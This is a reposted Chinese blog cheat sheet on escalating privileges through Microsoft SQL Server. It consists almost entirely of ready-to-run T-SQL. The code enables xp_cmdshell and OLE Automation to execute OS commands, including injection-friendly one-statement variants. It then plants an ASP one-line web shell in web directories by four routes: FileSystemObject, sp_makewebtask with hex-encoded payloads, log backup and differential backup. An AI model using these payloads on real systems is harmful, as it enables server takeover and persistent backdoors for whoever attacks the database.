码迷,mamicode.com
首页 > 数据库 > 详细

mssql提权

时间:2019-10-19 23:29:41      阅读:215      评论:0      收藏:0      [点我收藏+]

标签:lin   value   option   conf   上传   alt   res   task   com   

MSSQL的提权:


xp_cmshell组件的开启:

1、sql2005版本以后默认为关闭状态,需要开启命令执行
开启xp_cmdshell

EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell‘, 1;RECONFIGURE;

注入点不支持多执行的话,需要一句一句的运行

;exec sp_configure 'show advanced options',1;
;RECONFIGURE;exec sp_configure'xp_cmdshell',1;
;RECONFIGURE;

利用:exec master..xp_cmdshell ‘whoami‘;


sp_OACreate组件的开启(执行命令不回显):

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

利用:
declare @shell int exec sp_oacreate ‘wscript.shell‘,@shell output exec sp_oamethod @shell,‘run‘,null,‘c:\windows\system32\cmd.exe /c whoami >C:\who.txt‘

declare @o int;
exec sp_oacreate 'Shell.Application', @o out;
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';

COM组件的利用(cmd可自行上传):

declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; 
exec sp_oamethod @luan,'exec',@exec output,'C:\\Inetpub\\wwwroot\\lu4n.com\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;

下面是可以写文件的方法 但是有条件

1、路径已知
2、sa权限

第一种、存储过程写文件方法:

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\cbd.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>' 

第二种、存储过程写文件方法:

declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;--

在上面一样

exec sp_makewebtask ‘c:\inetpub\cbd666.asp,‘%20select%20‘‘<%25execute(request("a"))%25>‘‘ ‘;-- -

第三种、log备份方法:

alter database 库名 set RECOVERY FULL 
create table cmd (a image) 
backup log 库名 to disk = 'c:\' with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log 库名 to disk = 'c:\2.asp'

第四种、差异备份方法:

backup database 库名 to disk = 'c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

mssql提权

标签:lin   value   option   conf   上传   alt   res   task   com   

原文地址:https://www.cnblogs.com/zpchcbd/p/11706247.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!